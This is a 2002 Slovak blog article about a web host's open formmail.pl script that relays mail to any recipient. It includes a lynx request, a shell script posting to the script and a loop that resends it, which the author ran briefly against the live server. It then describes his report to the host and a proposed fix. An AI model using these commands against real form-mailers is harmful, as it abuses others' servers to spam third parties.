Ako poľahky zaspamovať Internet

15.07.2002 20:08 | blackhole

Rozposielanie spamu sa ľudovo nazýva tiež spamovanie. Spamovanie prebieha buď priamo z útočníkových počítačov, alebo sa na to zneužívajú tzv. Open Relay SMTP servery. Ako sa to vlastne všetko začalo? Ako to obyčajne býva, hľadal som čosi v internetových vodách. Jeden nepresný klik a dostal som sa na stránky novovznikajúcej webhostingovej spoločnosti.

Úvodná teória
Spamom sa nazývajú nevyžiadané materiály poslané e-mailom, obsahujúce prevažne reklamno-propagačné informácie. E-mailové adresy poškodených sa získavajú najmä z verejných a voľne dostupných elektronických zdrojov, ako sú napríklad internetové webstránky. Rozposielanie spamu sa ľudovo nazýva tiež spamovanie. Spamovanie prebieha buď priamo z útočníkových počítačov, alebo sa na to zneužívajú tzv. Open Relay SMTP servery. Open Relay SMTP server je taký server, ktorý preberie poštu pre ľubovoľného užívateľa Internetu a (pre)pošle ju ďalej nehľadiac na to, či tento užívateľ spadá pod rozsah jeho pôsobnosti alebo nie. Z uvedeného opisu je zrejmé, že správanie Open Relay SMTP serverov je silne nežiadúce. Zoznam takýchto serverov sa nachádza v Open Relay databáze .
Samotná ochrana proti spamu spočíva v nastavovaní selektívnych spam filterov na serveroch, resp. u konkrétnych užívateľov (viz. tiež článok o ifile na underground.cz). Ďalšou možnosťou ochrany je použitie už spomínanej Open Relay databázy a e-maily prichádzajúce od serverov zaznamenaných v tejto databáze jednoducho nepríjmať. Podmienkou je možnosť pravidelnej aktualizácie lokálnej kópie tejto databázy.
Problém
Toľko stručná teória a poďme sa ponoriť do praxe. Ako sa to vlastne všetko začalo? Ako to obyčajne býva, hľadal som čosi v internetových vodách. Jeden nepresný klik a dostal som sa na stránky novovznikajúcej webhostingovej spoločnosti. Vravím si fajn. Nová webhostingová spoločnosť na českom a slovenskom internete len pomôže jeho ďalšiemu rozvoju. Čo nám teda ponúkajú?
Okrem klasického GNU/Linux webhostingu na báze webservera Apache s podporou pre PHP/4.1.2 a MySQL/3.23.48 tam bola ešte možnosť Windows 2000 na báze IIS5 so SP3 a dostupnými \"hotfixami\". Vyzerá to profesionálne. Aké sú doplnkové služby? Klasické počítadlo, klasické štatistiky. Dodal by som, že aj klasický skript na odosielanie formuláru e-mailom, nebola by to však celkom pravda. Pozrime si popis tohto skriptu nachádzajúci sa na webstránke:
Odesílání emailu z formuláře
K odesílání emailů z formulářů můžete použít skript na adrese /cgi-bin/formmail.pl Skript předpokládá zadání několika položek, a to:
- recipient (=adresát, případně adresáti oddělení čárkou),
- subject (=předmět mailu),
- redirect (=stránka, která se zobrazí po odeslání mailu).
Akcia
S tým parametrom recipient to nemôžu myslieť vážne. Znamenalo by to, že môžem beztrestne poslať komukoľvek e-mail, pričom pravdepodobne všetko čo sa o mne dozvie bude, aký používam internetový prehliadač a že som nejaký vtipný slovenský dial-up-ista?! Nie nie, myslím si, to nemôže fungovať. Alebo áno? Zrejme mi neostáva nič iné, len vyskúšať známu programátorskú metódu pokus-omyl. Testujem HTTP GET metódu:

lynx -dump \\
'http://www.<hidden>.cz/cgi-bin/formmail.pl'\\
'?recipient=niekto@nikde.sk'\\
'&subject=Test'\\
'&redirect=http://www.example.com/'
Tešiac sa na zobrazenie titulnej stránky Example.com ma zamrazila nasledovná odpoveď:
500 Internal Server Error
Pozoruhodné. Divný spôsob oznámenia nefunkčnosti skriptu, ale z toho potom vyplýva, že to zrejme nič neposlalo (pozn.: je mi jasné, že sa dá v tej istej požiadavke poslať e-mail a pritom vrátiť chybový kód 500, ale túto neštandartnú možnosť pre tento prípad zanedbáme). Ešte overím HTTP POST metódu a môžem sa s dobrým pocitom odhlásiť zo siete. V tej istej sekunde vytváram nasledovný skript test.sh:

#!/bin/sh

FORMMAIL=\"http://www.<hidden>.cz/cgi-bin/formmai l.pl\";
RECIPIENT=\"niekto@nikde.sk\";
SUBJECT=\"Test\";
MESSAGE=\"Sprava\";
REDIRECT=\"http://www.example.com/\";

echo \"recipient=$RECIPIENT\"\\
\"&subject=$SUBJECT\"\\
\"&redirect=$REDIRECT\"\\
\"&email=$MESSAGE\" \\
| lynx -dump -post_data \"$FORMMAIL\";
Ako to asi tak zareaguje na toto:
$ ./test.sh
Teraz už na obrazovke jasne vidím výpis úvodnej stránky Example.com v textovom režime. Bol som úspešne presmerovaný. Z toho vyplýva, že mi dorazí e-mail? A naozaj. Netrvalo dlho a v poštovej schránke som si našiel nasledovnú správu:

From: Sprava@diana.<hidden>.cz
To: niekto@nikde.sk
Subject: Test
Date: Sat, 13 Apr 2002 17:12:11 0200
Nasledujici data vam byla zaslana z prostredi WWW.
Odesilatel: (Sprava) Sat Apr 13 17:12:11 CEST 2002
---------------------------------------------------------

-----
IP odesilatele: 195.80.179.121
Prohlizec odes.: Nepto/0.1 (http://nepto.sk/; powered by WWWOffle/2.6d on Linux Maxim 2.4.17; kill part: \\'\"\\\"')
Pasáž s priehliadačom (user agentom) dosadil môj proxy server. Podľa ďalších informácií, ktoré sa nachádzajú na stránkach webhostingovej spoločnosti, sa medzi dve vodorovné čiary dopisujú ďalšie parametre, ktoré budu cez formulár poslané. Dosť miesta na slušný reklamný leták, alebo nejaký nezmyselný balast. Dosť výpočtovej sily na oslovenie hojnej masy ľudí. Hlavne ak táto výpočtová sila nie je naša.
Nasledovný príkaz
$ while [ 1 -eq 1 ]; do ./test.sh; done
sa mi postaral o zábavu na najbližsie minúty (možno by bolo viac fajn, keby som naň nezabudol a nenechal ho bežať takmer päť minút - pozn. autor).
Riešenie problému
Nelenil som a obratom som v mene všetkých potenciálne poškodených užívateľov Internetu napísal správcom inkriminovaného webhostingového serveru e-mail, kde som ich slušne požiadal o dočasné odstránenie skriptu a následné opravenie chyby.
Odpoveď bola typicky nelogická. Nemôžeme Vám vyhovieť, pretože inkriminovaný skript je súčasťou bežnej zmluvy o webhostingu. Čiže spamovanie je v cene (alebo dokonca zadarmo) a pred očami nám z čista jasna vykvitol problém. Aby som bol presný, je to dokonca neriešiteľný problém! Sme v keli. Alebo nie?
Takto sa to nerobí alias reálne riešenie problému
Aby som bol uprimný, neveľmi mi záleži na tom, že webhostingová spoločnosť nebude mať vlastný formmail.pl skript pokiaľ si ho nevie poriadne urobiť. Podobne mi nezáleží na tom, že zákazníci tejto webhostingovej spoločnosti nebudú mať kvôli neexistencii tohto skriptu možnosť posielať napr. objednávky z vlastných webstránok.
Jediné čo chcem je, aby inkriminovaný skript neposielal e-maily na moju e-mailovú adresu tak, ako som bol toho pred malou chvíľkou svedkom. Takisto nechcem, aby sa internetom ďalej šírili perly o zlepšovaní zdravia, zvyšovaní ziskov v biznise či meditáciach a terapiách, ktoré tak či tak skončia v elektronickom odpade (prípadne spam databáze) a len zbytočne znepríjemňujú život. Viem, že pointa problému spamovania nie je v podobných voľne prístupných skriptoch, ale niekde sa zrejme začať musí. Najlepšie od toho najjednoduchšieho.
V neposlednom rade tiež nechcem, aby si ľubovoľný sociálny živel riešil svoje komplexy rozposielaním desatisícov e-mailov, pretože lynx -dump -post_data pozná už aj moja dvanásťročná sestra, a tú počítač zatiaľ ešte nebaví. :-)
Aké by to bolo jednoduché, keby sa každému zákazníkovi webhostingovej spoločnosti pridelilo jedno unikátne ID číslo. Konieckoncov, toto číslo už zrejme v samotnom systéme s najväčšou pravdepodobnosťou má. Jednoduchá hashovacia tabuľka, implementovaná napríklad cez entity relačnej SQL databázy, obsahujúca ID číslo a e-mailovú adresu, ku ktorej by formmail.pl pomocou perlovského DBI modulu pristupoval, by tento problém riešila. K spoľahlivému a bezproblémovému chodu by bolo tiež nutné vyvinúť rozhranie na zmenu tejto e-mailovej adresy. Ale to je len detail, pretože samotný engine webhostingovej spoločnosti už pravdepodobne obsahuje možnosť zmeny hesla čiže by v tomto prípade išlo o niečo tomu veľmi podobné.
Zakázník by sa potom vo svojich HTML formulároch už viac neodvolával na položku recipient, ale použil by svoje unikátne ID číslo. Výsledok by bol rovnaký. Objednávka by skončila v jeho schránke tak či tak. A to ani nehovorím o ďalších vymoženostiach ako napr. možnosť poslať objednávku na viac ako jednu e-mailovú adresu a podobne. Všetko by to záviselo od konkrétnej implementácie. Rozšírenie existujúceho enginu týmto smerom je zrejme otázkou len pár hodín, maximálne dní.
Isteže, keby sa niekto \"nahneval\", cez dotyčný formulár by kvantá e-mailov či objednávok poslať mohol, ale to platilo aj predtým. Rozdiel, z môjho pohľadu dosť zásadný a podstatný, je v tom, že posielanie e-mailu by bolo možné už len na jedinú e-mailovú adresu. A my všetci ostatní by sme mohli o čosi pokojnejšie spávať.
Jednoduché ale \"nezrealizovateľné\".
Záver
Open Relay SMTP servery sú už našťastie štandartne považované za nevhodné. Podobné voľne prístupné skripty sú však podľa mojho názoru s takýmito servermi takmer identické. Viem, že jeden neporiadny server na Internete nič neznamená. Ide ale o princíp. Ako som už písal, začať treba od toho najjednoduchšieho.
Poznámky
Informácie obsiahnutné v tomto dokumente boli poskytnuté len za účelom štúdia a vzdelávania sa. Meno webhostingovej spoločnosti a jej príslušných serverov bolo zámerne skryté, ale nie je problém sa k nemu na základe vyšsieuvedeného textu dopracovať. Rozhodne však autor ani redakcia blackhole.sk nenesie žiadnu zodpovednosť za prípadné materiálne alebo duchovné škody vzniknuté zneužitím, alebo nesprávnym naložením so zmieňovanými informáciami.
Prislušnými RFC dokumentami doporučovaný server Example.com bol použitý len ako ukážka možnosti presmerovania po odoslatí e-mailu. S webhostingovou spoločnosťou alebo spamovaním však nemá nič spoločné.
Referencie
Čo je to spam?
http://spam.abuse.net/overview/whatisspam.shtml
http://www.wdvl.com/Internet/Protocols/Email/Spam.html
Článok o ifile na underground.cz
http://underground.cz/752
Open Relay databáza
http://www.ordb.org/
http://www.ordb.org/faq/Ondrej Jombík